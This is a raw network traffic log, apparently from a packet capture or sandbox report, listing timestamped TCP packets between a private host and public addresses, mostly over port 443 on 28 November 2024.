Nov 28, 2024 10:05:12.320117950 CET	49800	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:05:12.411988974 CET	443	49703	104.98.116.138	192.168.2.7
Nov 28, 2024 10:05:12.438002110 CET	49800	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:05:12.438034058 CET	443	49800	104.98.116.138	192.168.2.7
Nov 28, 2024 10:05:12.447571039 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.448056936 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:12.448070049 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.448559046 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:12.448565006 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.891293049 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.894942045 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.895004988 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:12.939519882 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:12.939519882 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:12.939547062 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.939558029 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.136090994 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.179694891 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.382038116 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.382087946 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.382584095 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.382596016 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.574892998 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.574934006 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.575021029 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.611462116 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.611475945 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.708959103 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.712068081 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.712126970 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.721671104 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.721688986 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.721698999 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.721704006 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.782820940 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.782852888 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.782905102 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.805476904 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.805494070 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.910885096 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.914017916 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.914064884 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.916146040 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.916168928 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.916181087 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.916188955 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.920809984 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.920845032 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:13.921015978 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.921387911 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:13.921402931 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:14.569751978 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:14.571654081 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:14.571702003 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:14.572243929 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:14.572252035 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.327934027 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.328614950 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.328634024 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.329201937 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.329206944 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.574814081 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.574923992 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.575133085 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.575201988 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.575201988 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.575221062 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.575231075 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.578027010 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.578079939 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.578237057 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.578397989 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.578411102 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.658221960 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.658904076 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.658931971 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.659329891 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.659337044 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.701169014 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.702349901 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.702370882 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.702820063 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.702824116 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.762574911 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.766036034 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.766083002 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.766113997 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.766789913 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.772420883 CET	49801	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.772434950 CET	443	49801	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.779372931 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.779469013 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:15.779625893 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.780025959 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:15.780064106 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.111320972 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.114589930 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.114660025 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.144843102 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.144875050 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.144921064 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.148606062 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.179502010 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.228699923 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.286273956 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.286274910 CET	49802	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.286314011 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.286331892 CET	443	49802	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.289139032 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.289139986 CET	49803	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.289170027 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.289181948 CET	443	49803	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.290327072 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.290349960 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.291364908 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.291378021 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.485239983 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.485300064 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.485378981 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.491115093 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.491134882 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.492985010 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.493083954 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.493161917 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.493832111 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.493866920 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.632510900 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.636224985 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.636285067 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.637105942 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.637123108 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.637134075 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.637140989 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.647032022 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.647069931 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:16.647119999 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.647800922 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:16.647820950 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.359568119 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.360179901 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.360202074 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.360647917 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.360652924 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.569731951 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.570404053 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.570441008 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.570875883 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.570889950 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.803142071 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.806778908 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.806869030 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.806904078 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.806922913 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.806934118 CET	49804	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.806940079 CET	443	49804	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.809741020 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.809781075 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:17.809858084 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.809997082 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:17.810013056 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.013938904 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.017210960 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.017287016 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.017396927 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.017446995 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.017474890 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.017508984 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.020457983 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.020492077 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.020600080 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.020745039 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.020756006 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.279135942 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.284571886 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.284604073 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.285062075 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.285068035 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.344477892 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.345097065 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.345127106 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.345652103 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.345659971 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.428109884 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.428556919 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.428587914 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.429008961 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.429013014 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.723448992 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.726592064 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.728615046 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.747936010 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.747968912 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.747972012 CET	49806	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.747980118 CET	443	49806	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.789215088 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.789257050 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.789336920 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.790324926 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.790338039 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.797784090 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.800945044 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.800998926 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.801073074 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.808022976 CET	49701	80	192.168.2.7	192.229.221.95
Nov 28, 2024 10:05:18.808073044 CET	49702	80	192.168.2.7	192.229.221.95
Nov 28, 2024 10:05:18.808113098 CET	49699	80	192.168.2.7	151.101.2.133
Nov 28, 2024 10:05:18.808130026 CET	49700	80	192.168.2.7	104.18.20.226
Nov 28, 2024 10:05:18.808387041 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.808418989 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.808445930 CET	49807	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.808460951 CET	443	49807	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.896317005 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.899368048 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:18.899468899 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:18.928344965 CET	80	49701	192.229.221.95	192.168.2.7
Nov 28, 2024 10:05:18.928618908 CET	49701	80	192.168.2.7	192.229.221.95
Nov 28, 2024 10:05:18.929080009 CET	80	49702	192.229.221.95	192.168.2.7
Nov 28, 2024 10:05:18.929128885 CET	80	49699	151.101.2.133	192.168.2.7
Nov 28, 2024 10:05:18.929141045 CET	80	49700	104.18.20.226	192.168.2.7
Nov 28, 2024 10:05:18.929187059 CET	49702	80	192.168.2.7	192.229.221.95
Nov 28, 2024 10:05:18.929215908 CET	49699	80	192.168.2.7	151.101.2.133
Nov 28, 2024 10:05:18.929220915 CET	49700	80	192.168.2.7	104.18.20.226
Nov 28, 2024 10:05:19.200676918 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.200733900 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.200814009 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.204240084 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.204268932 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.204282999 CET	49808	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.204289913 CET	443	49808	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.225301981 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.225336075 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.260294914 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.260344028 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.260454893 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.316622019 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.316641092 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.591510057 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.592103958 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.592128992 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.592679024 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.592684984 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.801265001 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.801733017 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.801754951 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:19.802294016 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:19.802298069 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.035150051 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.035212994 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.035342932 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.035571098 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.035589933 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.035600901 CET	49809	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.035605907 CET	443	49809	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.038289070 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.038364887 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.038602114 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.038772106 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.038805008 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.245413065 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.248517036 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.248581886 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.248616934 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.248616934 CET	49810	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.248634100 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.248641968 CET	443	49810	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.251359940 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.251405954 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.251482010 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.251665115 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.251677990 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.573334932 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.573826075 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.573848009 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:20.574273109 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:20.574276924 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.005784035 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.006377935 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.006428957 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.006805897 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.006820917 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.017785072 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.018096924 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.018127918 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.018142939 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.018177032 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.018198967 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.018215895 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.018225908 CET	49811	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.018230915 CET	443	49811	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.020762920 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.020798922 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.020936966 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.021231890 CET	49816	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.021245003 CET	443	49816	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.033591032 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.033956051 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.033981085 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.034399986 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.034404993 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.449515104 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.453291893 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.455511093 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.456583977 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.456640005 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.456672907 CET	49812	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.456688881 CET	443	49812	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.459722042 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.459768057 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.459897041 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.460079908 CET	49817	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.460099936 CET	443	49817	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.467845917 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.467907906 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.467962027 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.467972040 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.468007088 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.468069077 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.468086958 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.468095064 CET	49813	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.468100071 CET	443	49813	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.470576048 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.470598936 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.470699072 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.471025944 CET	49818	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.471039057 CET	443	49818	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.883223057 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.883681059 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.883723974 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:21.884128094 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:21.884143114 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.082612991 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.083105087 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.083121061 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.083718061 CET	49815	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.083725929 CET	443	49815	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.422632933 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.422734022 CET	443	49814	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:22.422838926 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.423086882 CET	49814	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:22.423140049 CET	443	49814	13.107.246.63	192.168.2.7
